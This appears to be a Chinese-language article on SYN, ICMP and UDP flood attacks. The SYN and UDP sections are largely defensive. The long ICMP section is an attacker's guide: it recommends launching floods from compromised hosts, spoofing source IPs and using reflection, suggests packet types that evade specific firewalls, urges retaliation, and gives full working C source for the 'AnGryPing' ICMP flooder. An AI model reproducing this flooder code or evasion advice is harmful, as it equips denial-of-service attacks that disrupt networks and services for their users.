SYN Flood攻击
DoS(Denial of Service拒绝服务)和DDoS(Distributed Denial of Service分布式拒绝服务)攻击是大型网站和网络服务器的安全威胁之一。2000年2月,Yahoo、亚马逊、CNN被攻击等事例,曾被刻在重大安全事件的历史中。SYN Flood由于其攻击效果好,已经成为目前最流行的DoS和DDoS攻击手段。
SYN Flood利用TCP协议缺陷,发送了大量伪造的TCP连接请求,使得被攻击方资源耗尽,无法及时回应或处理正常的服务请求。一个正常的TCP连接需要三次握手,首先客户端发送一个包含SYN标志的数据包,其后服务器返回一个SYN/ACK的应答包,表示客户端的请求被接受,最后客户端再返回一个确认包ACK,这样才完成TCP连接。在服务器端发送应答包后,如果客户端不发出确认,服务器会等待到超时,期间这些半连接状态都保存在一个空间有限的缓存队列中;如果大量的SYN包发到服务器端后没有应答,就会使服务器端的TCP资源迅速耗尽,导致正常的连接不能进入,甚至会导致服务器的系统崩溃。
防火墙通常用于保护内部网络不受外部网络的非授权访问,它位于客户端和服务器之间,因此利用防火墙来阻止DoS攻击能有效地保护内部的服务器。针对SYN Flood,防火墙通常有三种防护方式:SYN网关、被动式SYN网关和SYN中继。
SYN网关 防火墙收到客户端的SYN包时,直接转发给服务器;防火墙收到服务器的SYN/ACK包后,一方面将SYN/ACK包转发给客户端,另一方面以客户端的名义给服务器回送一个ACK包,完成TCP的三次握手,让服务器端由半连接状态进入连接状态。当客户端真正的ACK包到达时,有数据则转发给服务器,否则丢弃该包。由于服务器能承受连接状态要比半连接状态高得多,所以这种方法能有效地减轻对服务器的攻击。
被动式SYN网关 设置防火墙的SYN请求超时参数,让它远小于服务器的超时期限。防火墙负责转发客户端发往服务器的SYN包,服务器发往客户端的SYN/ACK包、以及客户端发往服务器的ACK包。这样,如果客户端在防火墙计时器到期时还没发送ACK包,防火墙则往服务器发送RST包,以使服务器从队列中删去该半连接。由于防火墙的超时参数远小于服务器的超时期限,因此这样能有效防止SYN Flood攻击。
SYN中继 防火墙在收到客户端的SYN包后,并不向服务器转发而是记录该状态信息然后主动给客户端回送SYN/ACK包,如果收到客户端的ACK包,表明是正常访问,由防火墙向服务器发送SYN包并完成三次握手。这样由防火墙做为代理来实现客户端和服务器端的连接,可以完全过滤不可用连接发往服务器。
ICMP flood(ICMP洪水攻击)
一、什么是ICMP协议?
ICMP全称Internet Control Message Protocol(网际控制信息协议)。提起ICMP,一些人可能会感到陌生,实际上,ICMP与我们息息相关。在网络体系结构的各层次中,都需要控制,而不同的层次有不同的分工和控制内容,IP层的控制功能是最复杂的,主要负责差错控制、拥塞控制等,任何控制都是建立在信息的基础之上的,在基于IP数据 报的网络体系中,网关必须自己处理数据报的传输工作,而IP协议自身没有内在机制来获取差错信息并处理。为了处理这些错误,TCP/IP设计了ICMP协 议,当某个网关发现传输错误时,立即向信源主机发送ICMP报文,报告出错信息,让信源主机采取相应处理措施,它是一种差错和控制报文协议,不仅用于传输 差错报文,还传输控制报文。
二、ICMP报文格式
ICMP报文包含在IP数据报中,属于IP的一个用户,IP头部就在ICMP报文的前面,所以一个ICMP报文包括IP头部、ICMP头部和ICMP报文(见图表,ICMP报文的结构和几种常见的ICMP报文格式),IP头部的Protocol值为1就说明这是一个ICMP报文,ICMP头部中的类型 (Type)域用于说明ICMP报文的作用及格式,此外还有一个代码(Code)域用于详细说明某种ICMP报文的类型,所有数据都在ICMP头部后面。 RFC定义了13种ICMP报文格式,具体如下:
类型代码 类型描述
0 响应应答(ECHO-REPLY)
3 不可到达
4 源抑制
5 重定向
8 响应请求(ECHO-REQUEST)
11 超时
12 参数失灵
13 时间戳请求
14 时间戳应答
15 信息请求(*已作废)
16 信息应答(*已作废)
17 地址掩码请求
18 地址掩码应答
其中代码为15、16的信息报文已经作废。
下面是几种常见的ICMP报文:
1.响应请求
我们日常使用最多的ping,就是响应请求(Type=8)和应答(Type=0),一台主机向一个节点发送一个Type=8的ICMP报文,如果途中没 有异常(例如被路由器丢弃、目标不回应ICMP或传输失败),则目标返回Type=0的ICMP报文,说明这台主机存在,更详细的tracert通过计算 ICMP报文通过的节点来确定主机与目标之间的网络距离。
2.目标不可到达、源抑制和超时报文
这三种报文的格式是一样的,目标不可到达报文(Type=3)在路由器或主机不能传递数据报时使用,例如我们要连接对方一个不存在的系统端口(端口号小于 1024)时,将返回Type=3、Code=3的ICMP报文,它要告诉我们:“嘿,别连接了,我不在家的!”,常见的不可到达类型还有网络不可到达 (Code=0)、主机不可到达(Code=1)、协议不可到达(Code=2)等。源抑制则充当一个控制流量的角色,它通知主机减少数据报流量,由于ICMP没有恢复传输的报文,所以只要停止该报文,主机就会逐渐恢复传输速率。最后,无连接方式网络的问题就是数据报会丢失,或者长时间在网络游荡而找不到目标,或者拥塞导致主机在规定时间内无法重组数据报分段,这时就要触发ICMP超时报文的产生。超时报文的代码域有两种取值:Code=0表示传输超 时,Code=1表示重组分段超时。
3.时间戳
时间戳请求报文(Type=13)和时间戳应答报文(Type=14)用于测试两台主机之间数据报来回一次的传输时间。传输时,主机填充原始时间戳,接收方收到请求后填充接收时间戳后以Type=14的报文格式返回,发送方计算这个时间差。一些系统不响应这种报文。
三、回到正题:这样的攻击有效吗?
在前面讲过了,ping使用的是ECHO应答,不知道大家注意过没有,ping的返回很慢,用NetXRAY抓包仅为1–5包/秒,这是为什么呢?事实 上,ICMP本身并不慢(由于ICMP是SOCK_RAW产生的原始报文,速度比SOCK_STREAM的SYN和SOCK_DGRAM的UDP要快几乎 10倍!),这样的速度是ping程序故意延迟的(为什么?M$可不想每个人都能用ping来干坏事),同样,我测试过一些号称“ping洪水”的程序, 发现它们的效率和ping.exe没什么两样,经过Dependency Walker查看程序调用的函数发现,他们用的是icmp.dll提供的IcmpSendEcho这个API,这个函数是计算ECHO时间的,速度当然 慢!而那两个“高手”号召的ping攻击实际上就是为了实现ICMP洪水攻击,但是他们用的方法……想想洪水的速度和山涧小溪的速度相差多少吧!就用ping.exe和IcmpSendEcho这种小溪慢慢流淌的速度能做什么?还不是让人家看笑话!这种攻击根本就是浪费自己的时间!(如今还经常有人问 ping -l 65500 -t的攻击威力如何……哎,悲哀啊悲哀……)
四、什么是ICMP洪水?
1.ICMP洪水的成因
ping.exe和IcmpSendEcho速度慢的另一个原因是它们必须等待目标主机返回REPLY信息,这个过程需要花费大量时间,而Flood—— 洪水,顾名思义,是速度极快的,当一个程序发送数据包的速度达到了每秒1000个以上,它的性质就成了洪水产生器,洪水数据是从洪水产生器里出来的,但这 样还不够,没有足够的带宽,再猛的洪水也只能像公路塞车那样慢慢移动,成了鸡肋。要做真正的洪水,就需要有一条足够宽的高速公路才可以。极慢的发送速度+56Kbps小猫等于什么?等于一个未关紧的水龙头,根本没用。
由于ping.exe无法提速,这就需要专门的工具来做洪水了。足够快的数据包速度+足够的带宽,这才是洪水。
2.实现ICMP洪水的前提
最大的前提是攻击者的速度!如果你要用56K拨号去攻击一个512KbpsADSL用户,后果和一只蚂蚁伸腿想绊倒大象的天方夜谭是一样的!其次是你的机器运行速度和数据吞吐量,由于涉及IP校验和的计算(先设置头校验和域的数值为0,然后对整个数据报头按每16位求异或,再把结果取反,就得到了校验和),如果数据处理能力不够,在这步就慢了一个级别,效果当然大打折扣。最后就是目标机器的带宽!如果对方比你大很多(例如你2M ADSL,别人用DDN或T1),那么任何Flood都是无病呻吟,挠痒都不够!(希望不要再问“小金,你的R-Series怎么不好用啊”、“我用小金 的AnGryPing攻击别人半天都没事!”、“独裁者的攻击怎么无效啊?”这样的问题了,天啊,我头都大了!)
还有许多人都忽略的问题:发送的速度与数据包大小成反比,而且太大的数据包会被路由器等设备过滤掉!找到一个合适的数据包大小,对提高Flood的效率有很大帮助!
3.洪水——两败俱伤的攻击方式
别以为洪水无所不能,实际上,你展开洪水攻击时,攻击程序在消耗对方带宽和资源时,也在消耗你的带宽和资源。这只是个看谁撑得住的攻击而已。实际上,有经验的攻击者都是用被控制的服务器(肉鸡)来代替自己的机器发动攻击的,不到万不得已或者你对自己的机器网速有自信,否则尽量少用自己的机器来拼搏!
五、不同方式的ICMP洪水
1.直接Flood
要做这个的首要条件是你的带宽够,然后就是要一个好用的ICMP Flooder,别用ping.exe那种探路用的垃圾,例如我以前发布的AnGryPing,发包速度达到6000—9000包/秒(512Kbps ADSL),默认是32bytes的ECHO报文洪水,用它即使不能flood别人下去,防火墙也叫得够惨的了。直接攻击会暴露自己IP(如果对方没有还击能力那还无所谓,固定IP用户不推荐使用这种Flood),直接Flood主要是为了顾及Win9x/Me不能伪造IP的缺陷,否则一般还是别用为妙。
简单示意图:
ICMP
攻击者[IP=211.97.54.3]———————————>受害者[截获攻击者IP=211.97.54.3]==>换IP回来反击,嘿嘿
2.伪造IP的Flood
如果你是Win2000/XP并且是Administrator权限,可以试试看FakePing,它能随意伪造一个IP来Flood,让对方摸不到头脑,属于比较隐蔽阴险的Flood。
简单示意图:
伪造IP=1.1.1.1的ICMP
攻击者[IP=211.97.54.3]———————————>受害者[截获攻击者IP=1.1.1.1]==>倒死
3.反射
用采取这种方式的第一个工具的名称来命名的“Smurf”洪水攻击,把隐蔽性又提高了一个档次,这种攻击模式里,最终淹没目标的洪水不是由攻击者发出的,也不是伪造IP发出的,而是正常通讯的服务器发出的!
实现的原理也不算复杂,Smurf方式把源IP设置为受害者IP,然后向多台服务器发送ICMP报文(通常是ECHO请求),这些接收报文的服务器被报文欺骗,向受害者返回ECHO应答(Type=0),导致垃圾阻塞受害者的门口……
从示意图可以看出,它比上面两种方法多了一级路径——受骗的主机(称为“反射源”),所以,一个反射源是否有效或者效率低下,都会对Flood效果造成影响!
简单示意图:
伪造受害者的ICMP 应答
攻击者[IP=211.97.54.3]————————–>正常的主机—————>受害者[截获攻击者IP=……网易?!]==>哭啊……
以上是几种常见的Flood方式,在测试中,我发现一个有趣的现象:一些防火墙(如天网)只能拦截ECHO请求(Ping)的ICMP报文,对于其他 ICMP报文一概睁只眼闭只眼,不知道其他防火墙有没有这个情况。所以想神不知鬼不觉对付你的敌人时,请尽量避开直接ECHO Flood,换用Type=0的ECHO应答或Type=14的时间戳应答最好,其他类型的ICMP报文没有详细测试过,大家可以试试看Type=3、 4、11的特殊报文会不会有更大效果。
六、ICMP Flood能防吗?
先反问你一个问题:洪水迅猛的冲来时,你能否拿着一个脸盆来抵挡?(坐上脸盆做现代鲁宾逊倒是个不错的主意,没准能漂到MM身边呢)
软件的网络防火墙能对付一些漏洞、溢出、OOB、IGMP攻击,但是对于洪水类型的攻击,它们根本无能为力,我通常对此的解释是“倾倒垃圾”:“有蟑螂或老鼠在你家门前逗留,你可以把它们赶走,但如果有人把一车垃圾倾倒在你家门口呢?”前几天看到mikespook大哥对此有更体面的解释,转载过来——“香蕉皮原理:如果有人给你一个香蕉和一个香蕉皮你能区分,并把没有用的香蕉皮扔掉。(一般软件防火墙就是这么判断并丢弃数据包的。)但是如果有人在同一时 间内在你身上倒一车香蕉皮,你再能区分有用没用也没啥作用了~~因为你被香蕉皮淹没了~~~~(所以就算防火墙能区分是DoS的攻击数据包,也只能识别, 根本来不及丢弃~~死了,死了,死了~~)”
所以,洪水没法防!能做的只有提高自己的带宽和预防洪水的发生(虽然硬件防火墙和分流技术能做到,但那价格是太昂贵的,而且一般人也没必要这样做)。
如果你正在被攻击,最好的方法是抓取攻击者IP(除非对方用第一种,否则抓了没用——假的IP)后,立即下线换IP!(什么?你是固定IP?没辙了,打电话找警察叔叔吧)
七、被ICMP Flood攻击的特征
如何发现ICMP Flood?
当你出现以下症状时,就要注意是否正被洪水攻击:
1.传输状态里,代表远程数据接收的计算机图标一直亮着,而你没有浏览网页或下载
2.防火墙一直提示有人试图ping你
3.网络速度奇慢无比
4.严重时系统几乎失去响应,鼠标呈跳跃状行走
如果出现这些情况,先不要慌张,冷静观察防火墙报警的频率及IP来确认是否普通的Ping或是洪水,做出相应措施(其实大多数情况也只能换IP了)。
1.普通ping
这种“攻击”一般是对方扫描网络或用ping -t发起的,没多大杀伤力(这个时候,防火墙起的作用就是延迟攻击者的数据报发送间隔时间,请别关闭防火墙!否则后果是严重的!),通常表现如下:
==============================================================
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:24]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:26]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:30]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
=============================================================
这么慢的速度,很明显是由ping.exe或IcmpSendEcho发出的,如果对方一直不停的让你的防火墙吵闹,你可以给他个真正的ICMP Flood问候。
2.直接Flood
这是比较够劲的真正意义洪水了,防火墙的报警密度会提高一个数量级:
==============================================================
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:20]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:21]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:21]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:21]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:21]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:21]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:21]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:21]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
[13:09:21]61.151.252.106 尝试用Ping来探测本机,
该操作被拒绝。
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这时候你的防火墙实际上已经废了,换个IP吧。
3.伪造IP的Flood
比较厉害的ICMP Flood,使用的是伪造的IP而且一样大密度,下面是the0crat用56K拨号对我的一次攻击测试的部分数据(看看时间,真晕了,这可是56K小猫而已啊)
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[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
[18:52:13] 1.1.1.1 尝试用Ping来探测本机,
该操作被拒绝。
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无言…………
4、反射ICMP Flood
估计现在Smurf攻击还没有多少人会用(R-Series的RSS.EXE就是做这事的,RSA.EXE和RSC.EXE分别用作SYN反射和UDP反射),所以这种方法还没有大规模出现,但Smurf是存在的!而且这个攻击方法比前面几种更恐怖,因为攻击你的是大网站(或一些受苦受难的服务器)!
我正在被网易、万网和新浪网站攻击中(懒得修改天网策略,直接用其他工具抓的。实际攻击中,反射的IP会多几倍!)
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[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 210.192.103.30(Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
=======================================================================
可以看出,攻击者使用的是32bytes的ECHO请求,所以服务器返回52-20=32bytes的REPLY报文,在这个情况下,天网是不会报警的。
还是那句话,报警也没用了。
八、自己编写ICMP Flooder
以上说的都是理论,如何才能自己写一个呢?相信很多人已经跃跃欲试了,下面就用VC6.0来写一个直接的ICMP Flooder(能在Win98/Me环境使用)……先等等——最重要的是原理。
1.程序原理
当然不能用IcmpSendEcho来做,我们必须自己从最原始的IP报文里做一个。构造一个SOCK_RAW报文后,填充ICMP数据和计算校验和(CheckSum),循环sendto发出去就完成了,so easy!
2.ICMP报文的声明
一个ICMP报文包括IP头部、ICMP头部和ICMP报文,用IPPROTO_ICMP创建这个类型的IP包,用以下结构填充:
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
这样我们就声明了一个ICMP报文结构,就等后面的填充了。
3.校验和
计算方法:先设置头校验和域的数值为0,然后对整个数据报头按每16位求异或,再把结果取反,就得到了校验和。
函数:
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
4.必须注意的问题
由于Win98/Me系统不支持IP-Spoof,所以无法用setsockopt设置IP_HDRINCL让用户自己填充IP头部,所以Win98 /Me不能实现IP伪造!如果有人做的号称能伪造IP的工具而且又支持Win98/Me,那一定是吹出来的,因为这是系统限制,程序没法解决的。而且自己填充IP头部后,CheckSum就不是由系统计算了,这时候你的CheckSum计算函数就变成瓶颈了,这就是伪造IP后的Flooder发送速度不够 系统计算CheckSum的Flooder快的原因了,除非优化过CheckSum函数。限于篇幅,采用IP-Spoof技术的FakePing和Smurf就不讨论了。
5.完整代码
做一个Console Application工程,输入下面的代码。如果优化得当,最终编译生成的EXE也就4096字节而已,呵呵,justdo it……
==================================================
/*
agp.c
AnGryPing — ICMPFlooder by HBU·小金(LK007)
Copyright(C) 2002
E-MAIL:lk007@163.com
*/
#include<stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, “ws2_32.lib”)
//头文件和库文件声明,如果不能编译,请在Link里加上ws2_32.lib
#define false 0
#define true 1
#define SEQ0x28376839
// 定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
//计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
int main(int argc,char **argv)
{
int datasize,ErrorCode,flag;
int TimeOut=2000, SendSEQ=0,PacketSize=32,type=8,code=0,counter=0; //默认数据声明
char SendBuf[65535]={0}; //缓冲
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
ICMP_HEADER icmp_header;
char DestIp[20]; //目标IP
if(argc<2)
{
printf(“AngryPing by HBU-LK007\n”);
printf(“Usage:%s [Dest] <PacketSize><type> <code>\n”,argv[0]);
//允许用户自定义数据包大小、类型、代码,用以绕过一些防火墙或做一些特殊的报文Flood
exit(0);
}
strcpy(DestIp,argv[1]);
if (argc>2) PacketSize=atoi(argv[2]); //取得数据大小
if (PacketSize>65500)
{
printf(“Packet size must less than 65500\n”); //太大会无法生成IP数据报的
exit(0);
}
if(argc>3) type=atoi(argv[3]); //取得类型值
if (type>16)
{
printf(“Type must less than 16\n”);
exit(0);
}
if(argc>4) code=atoi(argv[4]); //取得代码值
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,”WSAStartup failed:%d\n”,ErrorCode);
exit(0);
}
if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
fprintf(stderr,”WSASocket failed:%d\n”,WSAGetLastError());
exit(0);
}
flag=TRUE;
{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR)
{
fprintf(stderr,”Failed to set send TimeOut:%d\n”,WSAGetLastError());
exit(1);
}
//主要代码开始
printf(“Dest:%s packet:%d type:%d code:%d\n\n”,argv[1],PacketSize,type,code);
printf(“Starting…\n\n”); //视觉效果:P
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充Socket结构
//填充ICMP首部
icmp_header.i_type = type;
icmp_header.i_code = code;
icmp_header.i_cksum = 0; //校验和置0
icmp_header.i_id = 2;
icmp_header.timestamp = GetTickCount(); //时间戳
icmp_header.i_seq=999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); //组合ICMP报文和头部
memset(SendBuf+sizeof(icmp_header), ‘E’, PacketSize); //用E填充ICMP数据
icmp_header.i_cksum = checksum((USHORT *)SendBuf,sizeof(icmp_header)+PacketSize); //计算校验和
datasize=sizeof(icmp_header)+PacketSize; //计算整个数据包大小
//开始发送
while(1){ //无限循环,按Ctrl+C跳出
/*
这里的printf实际上是为了延时,Flood程序最好别用这么华丽的界面或字符提示来美化自己,这样会迅速拖慢程序效率!当然,如果能不显示最好,但我去掉printf后,程序死掉了(太快?)如果你觉得“Sending1024 packets…”还是大大增加了延时,可以改成printf(“.”); 一个小点。反正是自己用,用得顺手就可以。
*/
printf(“Sending 1024 packets…\n”);
for(counter=0;counter<1024;counter++){ //循环发送1024个数据包为一组
//发送ICMP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(structsockaddr*)&DestAddr,sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf(“\nSendError:%d\n”,GetLastError());
}
}
}
{
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}
//代码结束
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UDP Flood攻击原理与防护
UDP Flood攻击原理
UDP Flood是日渐猖厥的流量型DoS攻击,原理也很简单。常见的情况是利用大量UDP小包冲击DNS服务器或Radius认证服务器、流媒体视频服务器。 100k pps的UDP Flood经常将线路上的骨干设备例如防火墙打瘫,造成整个网段的瘫痪。由于UDP协议是一种无连接的服务,在UDP FLOOD攻击中,攻击者可发送大量伪造源IP地址的小UDP包。但是,由于UDP协议是无连接性的,所以只要开了一个UDP的端口提供相关服务的话,那么就可针对相关的服务进行攻击。
正常应用情况下,UDP包双向流量会基本相等,而且大小和内容都是随机的,变化很大。出现UDP Flood的情况下,针对同一目标IP的UDP包在一侧大量出现,并且内容和大小都比较固定。攻击工具:
53端口的UDP Flood攻击抓图:
UDP Flood大包攻击(占带宽,分片):
UDP Flood防护
UDP协议与TCP协议不同,是无连接状态的协议,并且UDP应用协议五花八门,差异极大,因此针对UDP Flood的防护非常困难。其防护要根据具体情况对待:
判断包大小,如果是大包攻击则使用防止UDP碎片方法:根据攻击包大小设定包碎片重组大小,通常不小于1500.在极端情况下,可以考虑丢弃所有UDP碎片。
攻击端口为业务端口:根据该业务UDP最大包长设置UDP最大包大小以过滤异常流量。
攻击端口为非业务端口:一个是丢弃所有UDP包,可能会误伤正常业务;一个是建立UDP连接规则,要求所有去往该端口的UDP包,必须首先与TCP端口建立TCP连接。不过这种方法需要很专业的防火墙或其他防护设备支持。